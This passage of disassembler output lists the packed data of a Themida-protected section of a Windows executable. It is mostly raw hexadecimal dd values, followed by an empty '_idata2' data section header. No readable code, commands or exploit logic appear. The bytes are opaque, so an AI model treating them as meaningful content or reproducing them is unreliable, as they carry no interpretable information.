		dd 0FA8B6145h, 0FE9h, 0BF95CC00h, 81B0D197h, 0CC169214h
		dd 5F1D4AB1h, 8E9D38Bh,	4B000000h, 2B484348h, 60522412h
		dd 6850Fh, 0D6810000h, 68713D13h, 48A0F61h, 66000000h
		dd 0E8611EB8h, 0Eh, 68E4E60Dh, 695A627Eh, 4D68E934h, 8B6629F8h
		dd 0D18B58F3h, 0D800Fh,	66600000h, 72CED881h, 890Fh, 0F610000h
		dd 83h,	13E900h, 0F61B0000h, 2EC3C74Ch,	0A0648069h, 961BAEC4h
		dd 2536D869h, 0C8B70FF6h, 0E8D88166h, 0D8BF0FFCh, 66FE8B66h
		dd 60A6A1B8h, 26B1C28Bh, 665AB461h, 80F8D38Bh, 800F9BCFh
		dd 2, 0FE8B4EB6h, 1E6FC381h, 8B666FACh,	1D810FC1h, 0E8000000h
		dd 7, 0AD5EC1C2h, 0E9F7C603h, 0Bh, 90F7E537h, 0E7B292F8h
		dd 5837A02Dh, 0FFBBF0Fh, 189h, 8B66F500h, 8128B0CFh, 0CD2A37DFh
		dd 9E90Ch, 18CB0000h, 0CEC327AEh, 6076D0E4h, 8671C781h
		dd 0B70F7F73h, 0F55061DAh, 4BF665Fh, 0C8816628h, 81667C17h
		dd 0E82AA1DAh, 7, 727DE0DBh, 0E92EC731h, 14h, 0B24BADD6h
		dd 0FCA89146h, 6C524B0Dh, 0EA13A717h, 0E8E12989h, 8B66FC59h
		dd 6860FF2h, 81000000h,	0B28F82E0h, 0FE940h, 60F0000h
		dd 87EB6E8Dh, 18F16353h, 8E456AE4h, 0F7BF0F3Eh,	6DBBD38Bh
		dd 810242B7h, 549F5FF0h, 0D081665Dh, 0F51938Bh,	0B15AC0BFh
		dd 0EE824h, 0CC9E0000h,	0B4FFD439h, 26287DE6h, 7AA39FDCh
		dd 0F85FC78Bh, 13E9h, 0B02D3700h, 0F372370Dh, 705CDB7Eh
		dd 0A8BF401Bh, 7F800A2Ah, 19820Fh, 14E90000h, 0DC000000h
		dd 19CDD826h, 859448E6h, 0A1962311h, 9A86F476h,	668707ADh
		dd 0C609EF81h, 8830Fh, 56600000h, 5EBE6659h, 51B66121h
		dd 1D57BA60h, 0E8527789h, 0Eh, 828D5252h, 0EFBF5DFBh, 5885250Fh
		dd 5B59E7B3h, 8166F861h, 8B97FCE8h, 4748B8CEh, 0C2814690h
		dd 236768Dh, 6994BE66h,	0CB8097B5h, 14E9FCA3h, 70000000h
		dd 2C7131B4h, 0F09600D4h, 0F29FA527h, 3F6E595Ah, 8BFC5978h
		dd 7E8DAh, 83C80000h, 0B5E5ADA0h, 0F98A5FCBh, 80CAC280h
		dd 0FC5114EDh, 5E95Eh, 6BE20000h, 802F6DD5h, 0F38BFDF2h
		dd 7C51B866h, 0CE8B6656h, 0DF81665Ah, 0F517324h, 68Ah
		dd 93D18100h, 5951752Ch, 0E958F552h, 8,	9C4AD622h, 1B1E0C78h
		dd 0B70FBAB1h, 6E8FBh, 0CE9F0000h, 0D3F14C48h, 9CE18166h
		dd 0E8515E9Ah, 5, 2F77F1C8h, 6DBE6641h,	0F5585AA2h, 12E9h
		dd 9AEF6400h, 0F334AB4Ch, 0DA9E1FF8h, 0A2E8DF6Ch, 66CA353Ch
		dd 0E960DE8Bh, 11h, 0A34180ACh,	3603DDF4h, 0EC34C62Eh
		dd 0D8456483h, 6820F22h, 81000000h, 8234B3D0h, 8166617Fh
		dd 0E90F90F0h, 0Dh, 0A84299AFh,	4551F4B7h, 1698F1E3h, 0C7BF0F6Ah
		dd 0FE8h, 68213200h, 3E780E35h,	1BA1759Ah, 4AA3EFE3h, 5BD2B70Fh
		dd 0FD0C980h, 0B70FCBB7h, 0C08166FEh, 13E8F370h, 44000000h
		dd 0A7F19862h, 1C29DA1Dh, 38449CD6h, 20FFE08Dh,	800F4E87h
		dd 12h,	0DE9h, 0B6B16000h, 0FBB9EA63h, 545D8E22h, 0F5B7A21h
		dd 1987h, 0DE800h, 0AE40000h, 1912FE3Ah, 0C51F055Dh, 819F0013h
		dd 4A7133D1h, 0F3805B28h, 0CE9FC8Ah, 0F5000000h, 0FBEA757Dh
		dd 71A5F925h, 0F078B78h, 381h, 0D68B6600h, 70E78166h, 0D78B6686h
		dd 0EE8h, 0DCC3FD00h, 1C16A20Ah, 55302755h, 8BD2E693h
		dd 0B96659DFh, 0CE8A930h, 1E000000h, 865EF87Ch,	0BA75CD5Ch
		dd 0BA4D290Dh, 57FC6361h, 0AD04BE5Fh, 0BF0F76E9h, 79E981F3h
		dd 52163B16h, 0B55FDE8Bh, 11E878h, 0CADB0000h, 45450B3Dh
		dd 0CDD5CBDFh, 99A55154h, 59046378h, 8F0FE38Ah,	0
		dd 6E9D08Ah, 25000000h,	2E449A37h, 9E864h, 3DAA0000h, 0B06FB12Bh
		dd 0E9B73E5Fh, 14h, 0CAC64CC7h,	0BBBE3Ah, 5CFEDCB7h, 0EBD10045h
		dd 7A079A60h, 0D08B6059h, 0A108CE81h, 0E961667Fh, 0Fh
		dd 5C0F3021h, 29BDBEE4h, 0DD0CCD9Dh, 0BEAB3E6Bh, 1293328Bh
		dd 0FE960h, 136F0000h, 51711C12h, 5E8D7698h, 0E771BA81h
		dd 5E9A2h, 0F2A50000h, 61853B38h, 3840Fh, 0B70F0000h, 8BC68BD1h
		dd 7E9D9h, 0FD550000h, 9B502827h, 5BF55656h, 0FA8BC88Bh
		dd 0DBEABE66h, 12830Fh,	0DE90000h, 36000000h, 0FBEFAB85h
		dd 34551348h, 4C171B75h, 88BBC78Ah, 6676E9C0h, 8B66D38Bh
		dd 0DBD981F7h, 0B273E43Bh, 0EBCE8105h, 0BE0A6815h, 7E4166DFh
		dd 13E9h, 28220500h, 0AD0836C5h, 358B96BDh, 0F698D1CFh
		dd 4C45E053h, 96F68160h, 6635AD76h, 5061D78Bh, 5E8h, 675CC000h
		dd 870F6276h, 0
		dd 0BA665F5Bh, 0E9605769h, 0Fh,	9BA886A2h, 0E5E5DD4Eh
		dd 3F45E57Dh, 56FDDA09h, 615BF78Bh, 12E9h, 7D472400h, 9FED1A9Fh
		dd 43209B4Ah, 92795B20h, 0B7C60849h, 0FE9F2h, 35D30000h
		dd 21DDF07h, 5DB7071Dh,	0B2276783h, 0D080F92Ah,	0CE8B667Dh
		dd 10E9h, 8712B400h, 4381B910h,	0D1431F53h, 21F38B24h
		dd 10E95Fh, 0A11A0000h,	0F3651212h, 618B3DBh, 80D4ACB0h
		dd 29B5E6D9h, 0FA8B6660h, 28D0Fh, 61600000h, 0F7B70F61h
		dd 0BE8h, 0A205AE00h, 5AB2F7F7h, 34D84799h, 5E9h, 158A6800h
		dd 0B15E01BCh, 3880F43h, 80000000h, 8BF922D1h, 0F88A60CEh
		dd 0B7C08166h, 10E861C1h, 61000000h, 0E65D8038h, 89DE6774h
		dd 2AEFF485h, 0E8F0D347h, 0Ah, 0DC0371Bh, 7A5F0C47h, 13E98BC8h
		dd 0D6000000h, 93476ADEh, 838EB0D8h, 5579A4CEh,	9A7ED92h
		dd 5F58D252h, 8BF78B66h, 9E9D7h, 0B8B60000h, 0D1B11571h
		dd 0F36D48Ah, 48Ch, 0D9BA6600h,	7BD78059h, 10E8h, 7306ED00h
		dd 9DEC2EFCh, 0E97F3612h, 11FC6C31h, 0EE9D4h, 843B0000h
		dd 7D810C0h, 0B4D6C408h, 0AFF1100Fh, 13E85Fh, 8EFE0000h
		dd 80D0BEA1h, 0A4EBB585h, 2CE98044h, 1F2E012Ch,	0D6E681B4h
		dd 5A27E26Fh, 0AE9h, 0B305F900h, 0CBA0B182h, 0FBE5334h
		dd 0B8Bh, 58A0F00h, 66000000h, 60A0D681h, 0F10E380h, 6060F6B7h
		dd 8C0Fh, 0BB660000h, 0E8615549h, 6, 5C7778CDh,	61606C8Ch
		dd 13BB615Eh, 604F600Bh, 0EE9h,	1A88B400h, 0F55082E0h
		dd 38F2A5B0h, 619E853Bh, 0EE14BAFCh, 80534A88h,	0F5BAADEh
		dd 0E780CEB7h, 6E87Ah, 27110000h, 0FBEA64Ch, 6E958FCh
		dd 0C6000000h, 0D5ED48A5h, 0CAE2817Fh, 600E61ACh, 58F0FF8h
		dd 66000000h, 3C49E981h, 9AB96661h, 0EE84Fh, 0A05B0000h
		dd 79DF8355h, 0F31EF40Eh, 0E344A5CAh, 3FC2805Ah, 0E8DABF0Fh
		dd 6, 0A87EEED8h, 0F60EAE3h, 8Ah, 8A0F00h, 61000000h, 6E85Ah
		dd 0E74D0000h, 3D36E0CEh, 0A1DA805Bh, 18840Fh, 13E90000h
		dd 7B000000h, 45CEF2EBh, 0B323DC6Ah, 0AFCBA9C0h, 0DED20702h
		dd 79B5418Eh, 0DE9h, 3076C500h,	0CC0BBE0Ah, 0E20E3F14h
		dd 0BE94D19h, 8D000000h, 0FFB9F68Eh, 0F1FBA6C3h, 820FF920h
		dd 6, 1880D381h, 8B662665h, 0D38166C8h,	5E5187D5h, 0CA8B6651h
		dd 138A0F5Eh, 0E8000000h, 0Bh, 6AC2C5ECh, 227A79B3h, 52C40D17h
		dd 8166595Ah, 515684C7h, 0F859F78Bh, 118C0Fh, 0CE90000h
		dd 54000000h, 53DF443h,	2B8CC93Fh, 601BAD26h, 18E0Fh, 0F9FC0000h
		dd 8AFDB961h, 0CA8B4419h, 5E9FE8Bh, 0C8000000h,	67A03D31h
		dd 18810Fh, 13E90000h, 61000000h, 0EDBBA115h, 5B3C8876h
		dd 0F54BFE85h, 6C1A3CB9h, 0FF5221Fh, 0F57D3BFh,	0F8Ah
		dd 9E800h, 3DBE0000h, 0B2D52E17h, 5B38EAE0h, 59F5505Bh
		dd 1A870Fh, 8D0F0000h, 14h, 0FE9h, 12847D00h, 0D92D9677h
		dd 0F19DC549h, 0A40B5632h, 36h dup(7A92ABF9h), 0D96D54F9h
		dd 70h dup(0D96D576Bh),	257h dup(2111F70Ch), 0BC11F70Ch
		dd 1A8h	dup(0BCEEEBA9h), 28D5EBA9h, 1B2h dup(28D5C00Bh)
		dd 3505248Fh, 3ABh dup(35052480h), 92052480h, 81h dup(921B3D6Ah)
		dd 383D16Ah, 44EFD166h,	59h dup(44EF1228h)
		db 28h,	12h, 0EFh
byte_5D4D5B	db 44h			; DATA XREF: ___:off_43162Co
		dd 83h dup(44EF1228h)
dword_5D4F68	dd 142h	dup(44EF1228h),	0CCEF1228h, 756h dup(0CCCCCCCCh)
					; DATA XREF: Themida_:00560399o
		dd 38Dh	dup(0)
Themida_	ends

; Section 5. (virtual address 001D8000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001D8000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5D8000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start